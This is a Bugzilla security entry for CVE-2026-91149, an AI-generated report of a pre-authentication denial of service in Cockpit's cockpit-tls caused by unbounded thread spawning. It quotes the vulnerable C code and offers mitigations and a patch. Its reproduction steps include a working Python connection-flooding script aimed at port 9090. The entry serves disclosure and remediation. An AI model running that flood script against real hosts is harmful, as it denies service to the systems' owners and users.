Bug 2479422 (CVE-2026-91149) - CVE-2026-91149 cockpit: Cockpit: Denial of Service via unbounded connection thread spawning
Summary: CVE-2026-91149 cockpit: Cockpit: Denial of Service via unbounded connection t...
Keywords:
Status: NEW
Alias: CVE-2026-91149
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On: 2537841
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-05-18 04:05 UTC by OSIDB Bzimport
Modified: 2026-09-22 13:53 UTC (History)
4 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-05-18 04:05:24 UTC
AI_ONLY_REPORT
package: cockpit-356-1.el10
------
Summary: Denial of Service via Unbounded Connection Thread Spawning:  
unauthenticated remote clients can force `cockpit-tls` to create detached  
threads without an in-code concurrency bound, consuming process resources  
and degrading or denying service availability.
Requirements to exploit: Remote network reachability to the Cockpit  
listener on TCP port `9090` and the ability to sustain many simultaneous  
connections for longer than the initial 30-second pre-handshake wait. No  
authentication or user interaction is required. Practical impact depends on  
host thread, memory, and file-descriptor limits.
Component affected: `cockpit-356-1.el10`, `src/tls/server.c` in  
`handle_accept()`, with per-connection lifetime extended by  
`src/tls/connection.c` in `connection_handshake()` /  
`connection_thread_main()`.
Version affected: `cockpit-356-1.el10`
Patch available: no released package fix established; proposed patch  
included below
Version fixed: unknown
Upstream coordination: Not notified.
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - 5.3 (MEDIUM)
AV:N - The issue is reachable over the network through the Cockpit  
listener.
AC:L - Exploitation only requires opening and holding many TCP  
connections; no race or unusual protocol state is needed.
PR:N - The per-connection thread is created before authentication.
UI:N - No victim interaction is required.
S:U - The impact is limited to the affected service instance.
C:N - No confidentiality impact is established.
I:N - No integrity impact is established.
A:L - The flaw can materially degrade or deny service availability, but  
the exact outcome depends on sustained connection pressure and deployment  
resource limits.
Impact: Important. This issue allows unauthenticated remote users to cause  
a denial-of-service condition against a network-facing service, which  
matches Red Hat's Important-impact guidance for remote DoS flaws. The  
evidence supports availability degradation up to service denial, but does  
not support confidentiality, integrity, or system-compromise impact.
Embargo: no
Reason: This is an availability-only issue with straightforward  
mitigations such as restricting network exposure or applying external  
connection limits while a fix is prepared.
Acknowledgement: Aisle Research
Vulnerability Details: In the affected accept path, each accepted  
connection increments the active connection counter and immediately spawns  
a detached thread, but there is no admission-control check that caps  
concurrent connection threads:
```c
pthread_mutex_lock (&server.connection_mutex);
if (server.connection_count == 0 && server.idle_timerfd != -1)
{
const struct itimerspec zero = { { 0 }, };
debug (CONNECTION, "  -> clearing idle timeout.");
timerfd_settime (server.idle_timerfd, 0, &zero, NULL);
}
server.connection_count++;
debug (CONNECTION, "  -> server.connection_count is now %i",  
server.connection_count);
pthread_mutex_unlock (&server.connection_mutex);
pthread_attr_init (&attr);
pthread_attr_setdetachstate (&attr, PTHREAD_CREATE_DETACHED);
int r = pthread_create (&thread, &attr,
server_connection_thread_start_routine,
(void *) (uintptr_t) fd);
```
The tracked `connection_count` is used for idle-timeout bookkeeping, not  
for admission control. Each spawned thread can then remain allocated for up  
to 30 seconds before any useful protocol processing, because the handshake  
waits for the first byte with a fixed timeout:
```c
/* Wait for up to 30 seconds to receive the first byte before shutting
down the connection.
  */
struct pollfd pfd = { .fd = self->client_fd, .events = POLLIN };
do
   ret = poll (&pfd, 1, 30000); /* timeout is wrong on syscall restart, but  
it's fine */
while (ret == -1 && errno == EINTR);


if (ret == 0)
{
debug (CONNECTION, "client sent no data in 30 seconds, dropping  
connection.");
return false;
}
```
An unauthenticated remote attacker can therefore keep opening connections  
and hold them long enough to accumulate detached threads and associated  
file-descriptor and memory usage. Under sustained pressure, legitimate  
requests may become slow or fail entirely. The precise severity depends on  
system resource limits and how exposed the service is, so the established  
impact is availability degradation up to denial of service.
Steps to reproduce:
1. Start Cockpit on a test host with `cockpit.socket` enabled so that  
`cockpit-tls` is reachable on port `9090`.
2. From another host, run sustained connection pressure that keeps sockets  
open slightly longer than the 30-second initial poll window:
```bash
python3 - <<'PY'
import socket, time
TARGET=("TARGET_IP", 9090)
HOLD=35        # >30s poll window
RATE=120       # connections/sec
DURATION=120   # seconds
opened=[]
start=time.time()
while time.time()-start < DURATION:
t0=time.time()
s=socket.socket()
s.settimeout(2)
try:
s.connect(TARGET)
opened.append((time.time(), s))
except Exception:
s.close()
cutoff=time.time()-HOLD
keep=[]
for ts, sock in opened:
if ts < cutoff:
sock.close()
else:
keep.append((ts, sock))
opened=keep
time.sleep(max(0, (1.0/RATE) - (time.time()-t0)))
time.sleep(30)
for _,s in opened:
s.close()
PY
```
3. On the target, monitor thread growth with `grep -E 'Threads|FDSize'  
/proc/$(pidof cockpit-tls)/status`.
4. On the target, monitor open file descriptors with `ls /proc/$(pidof  
cockpit-tls)/fd | wc -l`.
5. While the script is running, issue a legitimate request such as `curl -k  
https://TARGET_IP:9090/` and observe latency or failures under pressure.
Mitigation: Until a fix is available, restrict access to the Cockpit  
listener to trusted management networks or localhost only, or disable  
`cockpit.socket` if remote access is not required. External connection-rate  
or concurrency limits in front of TCP port `9090` can reduce  
exploitability. Lower service task or file-descriptor ceilings can reduce  
blast radius, but they do not correct the missing bound in the accept path.
Proposed Fix: A minimal fix is to reject newly accepted sockets once the  
active connection count reaches a safe ceiling, and to roll back  
`connection_count` if thread creation fails.
```diff
diff --git a/src/tls/server.c b/src/tls/server.c
— a/src/tls/server.c
+++ b/src/tls/server.c
@@
+#define MAX_ACTIVE_CONNECTIONS 256
@@ static void handle_accept (int listen_fd)
{
pthread_mutex_lock (&server.connection_mutex);
+
+    if (server.connection_count >= MAX_ACTIVE_CONNECTIONS)
+      {
+        pthread_mutex_unlock (&server.connection_mutex);
+        warnx ("Too many active connections (%u), dropping new  
connection", server.connection_count);
+        close (fd);
+        return;
+      }
@@
server.connection_count++;
@@
if (r != 0)
{
errno = r;
warn ("pthread_create() failed.  dropping connection");
+      pthread_mutex_lock (&server.connection_mutex);
+      if (server.connection_count > 0)
+        server.connection_count--;
+      if (server.connection_count == 0 && server.idle_timerfd != -1)
+        timerfd_settime (server.idle_timerfd, 0, &server.idle_timeout,  
NULL);
+      pthread_mutex_unlock (&server.connection_mutex);
close (fd);
}
```
------
This report was generated using AI technology. Always review AI-generated  
content prior to use

Comment 1 Christopher Lusk 2026-06-26 17:55:51 UTC
Tracker filed for rhel-10.3: https://issues.redhat.com/browse/RHEL-189259


Note You need to log in before you can comment on or make changes to this bug.